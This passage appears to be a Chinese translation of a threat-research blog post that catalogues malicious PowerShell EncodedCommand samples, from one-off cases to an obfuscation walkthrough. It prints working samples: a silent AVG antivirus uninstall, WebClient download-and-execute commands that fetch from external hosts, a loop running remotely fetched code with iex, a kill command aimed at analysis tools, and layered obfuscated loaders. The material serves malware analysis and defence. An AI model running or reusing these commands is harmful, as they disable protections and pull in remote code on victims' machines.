  1. $uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64 /qn /norestart" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32 /qn /norestart" -Wait }};

值得注意的一次性

在识别出尽可能多的变体后,我留下了大约 100 个“未知”样本,这些样本通常是上述技术的自定义旋转。我将通过一些更值得注意的样本的快速概述来结束这个编目。

Hidden Messages

此示例通过PowerShell执行一些基本的日期检查,并将当前日期时间与包含的日期时间进行比较,如果当前日期时间晚于包含的日期时间,它将不会运行。不过,在代码的结尾,他们可能会给他们的“黑客”小组留下一个注释。

  1. if ((Get-Date).Ticks -lt (Get-Date -Date '18-jan-2017 00:00:00').Ticks) {(New-Object System.Net.WebClient).DownloadFile('http://drobbox-api.dynu[.]com/update',"$env:temp\update");Start-Process pythonw.exe "$env:temp\update 31337"};#NIXU17{pow3r_t0_the_sh3lls}

留下隐藏消息的另一个例子在下面的例子中:

  1. while($true){Start-Sleep -s 120; $m=New-Object System.Net.WebClient;$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;$m.Headers.Add('user-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)'); iex(($m.downloadstring('https://raw.githubusercontent.com/rollzedice/js/master/drupal.js')));}

当您分析它从 GitHub 远程下载的代码时,在撰写本文时它会杀死 PowerShell 进程,它会说“你好 SOC/IR 团队!:-)”。考虑到文件历史经常使用“测试”,这可能只是一个渗透测试或红队练习:
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图9
图 8 JavaScript 文件杀死了 powershell 并欢迎 SOC/IR 团队。

进程杀死

这是在总体攻击中将 PowerShell 用于特定目的的另一个示例。它将杀死许多通常与恶意软件分析相关的进程:

  1. kill -processname Taskmgr, ProcessHacker*, Procmon*, Procexp*, Procdump* -force

混淆层

对于最后一个示例,它似乎与“PowerSploit GTS”变体中显示的示例相关,因为原始宏几乎相同,但此示例没有使用任何其他部分。
这个特定的样本使用多层混淆来进行攻击。

第 1 层

Microsoft Excel 文档有一个宏,该宏从单元格中提取 base64 编码数据,该单元格在启动时传递给 PowerShell 的 EncodedCommand 参数。
Paloalto - 拉开 EncodedCommand PowerShell 攻击的帷幕 - 图10

第 2 层

解码后的 base64 是一长串 int 值,它们被转换为它们的 char 值,然后作为另一个 PowerShell 脚本执行。

  1. -JOIn (( 32 ,32 , 36 ,86 ,115 , 110 , 50,108 , 54, 32 ,61 , 32,32 , 91,116,121,112,101, 93 ,40 ,34,123 ,51 , 125 , 123, 48 ,125, 123, 49, 125, ,53, 45 ,49, 54,55 , 45,39, 44 ,39 ,101 , 46 , 97, 109, 97 , 122 ,111,110 ,97, 39, 44, 39 ,53,39, 44,39, 119 , 115, 46, 99 , 111 , 109 ,58, 56 , 48 , 39 ,44 ,39,45 , 119, 101 ,115 , 39,41, 41 , 59)|%{([inT]$_-AS [chAr]) } ) | iex

第 3 层

解码后的数据使用各种技术来混淆自己。第一种技术是在其他字符之间注入反引号字符,这将在运行时被忽略。这类似于命令行中的插入符号注入技术,但在 PowerShell 代码中工作。
它还使用其他脚本语言中常见的技术,将字符串分解为随机列表,然后通过调用特定值重建原始字符串:

  1. $Vsn2l6 = [type]("{3}{0}{1}{2}" -F\'UE\',\'S\',\'t\',\'Net.webreq\') ; $h69Q4 =[TYPe]("{1}{2}{3}{4}{0}"-F \'he\',\'nEt.C\',\'REDeNtialC\',\'a\',\'c\') ; ${J}=&("{0}{1}{2}"-f \'new-obj\',\'ec\',\'t\') ("{2}{1}{0}{3}" -f \'eb\',\'.w\',\'net\',\'client\');${j}."PRo`XY"= ( VaRIablE vsn2L6 ).VaLuE::("{0}{3}{2}{4}{1}"-f\'GetS\',\'Proxy\',\'em\',\'yst\',\'Web\').Invoke();${j}."pr`OXY"."C`RE`De`NTiALs"= ( GeT-VariaBle H69Q4).VaLUe::"DE`Faultcred`en`TI`ALS";.("{0}{1}"-f \'I\',\'EX\') ${J}.("{1}{3}{2}{0}" -f \'string\',\'do\',\'load\',\'wn\').Invoke(("{3}{1}{9}{11}{8}{13}{0}{4}{15}{5}{10}{2}{12}{14}{7}{6}" -f\'5\',\'tp://\',\'mput\',\'ht\',\'.us\',\'t\',\'0/anSfrf\',\'8\',\'185-\',\'e\',\'-2.co\',\'c2-35-167-\',\'e.amazona\',\'5\',\'ws[.]com:80\',\'-wes\'));

清理代码并构建字符串表明它远程下载代码以传递给 Invoke-Expression:

  1. $Vsn2l6 = [type]Net.webreqUESt;
  2. $h69Q4 = [TYPe]nEt.CREDeNtialCache;
  3. &new-object net.webclient;
  4. PRoXY = $Vsn2l6.VaLuE::GetSystemWebProxy.Invoke();
  5. prOXY.CREDeNTiALs = ( GeT-VariaBle $h69Q4 ).VaLUe::DEFaultcredenTIALS;
  6. .IEX downloadstring.Invoke(http://ec2-35-167-185-55.us-west-2.compute.amazonaws[.]com:8080/anSfrf);

结论

PowerShell 是一个强大的脚本框架,它提供了许多防御和进攻的功能。希望这个博客能够突出一些当前在工具和攻击中使用的技术。
在这些样本中,很明显大多数攻击仍然依赖于公共工具,这并不奇怪。随着 PowerShell 框架的不断探索和成熟,我怀疑我们将开始看到来自这个领域的攻击的更多变化。就目前而言,PowerShell 似乎主要用作促进攻击者在其他框架中使用的常用功能的工具,但一旦我们走出“转移”阶段,最终将开始利用更多本机功能。创新”阶段。